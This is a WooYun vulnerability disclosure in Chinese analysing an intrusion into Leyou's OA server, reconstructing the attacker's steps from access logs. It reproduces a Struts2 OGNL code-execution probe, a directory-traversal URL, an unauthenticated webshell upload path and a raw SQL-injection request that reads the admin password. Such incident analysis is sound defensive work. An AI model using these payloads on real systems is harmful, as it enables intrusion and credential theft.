当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137042

漏洞标题:乐友某系统被入侵简要分析(帮企业调查攻击行为)

相关厂商:乐友(中国)超市连锁有限公司

漏洞作者: 刺刺

提交时间:2015-08-26 11:31

修复时间:2015-10-11 16:18

公开时间:2015-10-11 16:18

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-26: 细节已通知厂商并且等待厂商处理中
2015-08-27: 厂商已经确认,细节仅向厂商公开
2015-09-06: 细节向核心白帽子及相关领域专家公开
2015-09-16: 细节向普通白帽子公开
2015-09-26: 细节向实习白帽子公开
2015-10-11: 细节向公众公开

简要描述:

或许又有点老生常谈了,但是希望对厂商能有所帮助。

详细说明:

在之前的问题: WooYun: 乐友某系统补丁不及时可Getshell可内网(已经发现入侵者)
当时通过统一的密码登录OA服务器之后,顺手牵羊,在OA目录下载了一个打包好的ROOT.rar想在以后研究一下。
谁知解压之后,杀毒软件开始报警:
在app目录发现s.exe lcx.exe HScan v1.20
文件可以通过:
https://oa.leyou.com/app/lcx.exe
https://oa.leyou.com/app/s.exe
下载;
在app目录发现a.jsp
https://oa.leyou.com/app/a.jsp jspspy脚本木马

a.jpg


通过webshell扫描,发现部分可疑文件:
1.\ROOT\app\a.jsp包含exec,极有可能是jsp的cmdshell!
2.\ROOT\app\css\webui.jsp包含exec,极有可能是jsp的cmdshell!
3.\ROOT\css\skins\syscomes_skin4\global.jsp包含exec,极有可能是jsp的cmdshell!
4.\ROOT\js\main\eweaverTabs.jsp包含exec,极有可能是jsp的cmdshell!
5.\ROOT\js\main\main.jsp包含exec,极有可能是jsp的cmdshell!
查看文件确认为脚本木马;
搜索jspx,发现:
ROOT\ckeditor\ckeditor1.jspx
ROOT\css\css.jspx
查看文件确认为脚本木马;

11.jpg


根据文件时间,可以初步估计判断,1月16日就已经被getshell了。
使用攻击者的脚本木马浏览网站目录,发现开启了access_log,尽管已经不完整了,还是下载了1.16和20日的访问日志

log.jpg


日志查看:
首先在16日的access log中,查找 ckeditor1.jspx

ip.jpg


确定访问者IP 104.37.2.21 104.37.2.23 104.37.2.25 等
ip138的验证地址是美国
查找 104.37.2. 确认该用户的操作
集中到一个文件中,大概的流程如下
104.37.2.21 - - [16/Jan/2015:09:37:00 +0800] "GET /main/login.jsp HTTP/1.1" 200 8254 9点37 开始访问系统
"POST /j_acegi_security_check HTTP/1.1" 302 302跳转到main.jsp 表示攻击者已经有了账号和密码
[16/Jan/2015:09:40:23 +0800] "GET /base/fileupload.jsp?type=pdf HTTP/1.1" 200 尝试上传pdf
[16/Jan/2015:09:42:12 +0800] "POST /ServiceAction/com.eweaver.base.file.FileUploadAction?action=uploadFile 尝试通过文档类的上传获取shell
在此攻击者偶然发现了一个目录遍历的漏洞
[16/Jan/2015:09:43:24 +0800] "GET /document/imp/filebrowser.jsp?dir=D%3A%5Cleyouoa%5Cwebapps%5CROOT%5Cbase HTTP/1.1"
验证,确实存在

ff.jpg


然并卵,对获取shell没有帮助。
[16/Jan/2015:09:51:22 +0800] "GET /ServiceAction/com.eweaver.base.log.servlet.LogAction?redirect:${%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matts%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23matt.getWriter().println(">>>>^>"),%23matt.getWriter().println(%23matts.getRealPath("/")),%23matt.getWriter().println("<^<<<<"),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 200 4186 验证系统是否存在S2远程代码执行的漏洞
[16/Jan/2015:10:31:29 +0800] "GET /base/skin/skincreate.jsp 请求了皮肤创建的页面

css2.jpg


经过验证,预览效果图上传没有验证文件类型,可以直接上传jsp webshell
[16/Jan/2015:10:32:03 +0800] "POST /ServiceAction/com.eweaver.base.skin.servlet.SkinAction?action=getAllSkinWithJson HTTP/1.1" 200 1389 可以看到上传的jsp shell的文件路径

css22.jpg


验证目录

css.jpg


webshell 获取完毕;
其实这里的上传,无须用户登录,可以直接上传webshell
同理查看20日的日志,同样的方法获取的shell

20.jpg


不过这个ip据ip138 是国内的。
至于用户和密码如何获取:
1. 之前没有验证码,可以爆破;
2. 之前登录框有SQL,可以SQL注入;(这里修复最搞了,在登录使用了验证码,sql注入却没有修复)
3. 没有修复的SQL注入

漏洞证明:

https://oa.leyou.com/ServiceAction/com.eweaver.base.DataAction
POST
sql=|20select|20LONGONNAME,LOGONPASS|20from|20sysuser|20where|20LONGONNAME|20=|20'sysadmin'

sq4.jpg


据说还有其他位置的SQL注入。

修复方案:

1. 目前oa服务器的状态,建议下线维护;
2. 泛微的产品目前问题太多,无论是eweaver还是E-COLOGY都一样。

版权声明:转载请注明来源 刺刺@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-27 16:16

厂商回复:

已经提报给OA组进行修复

最新状态:

暂无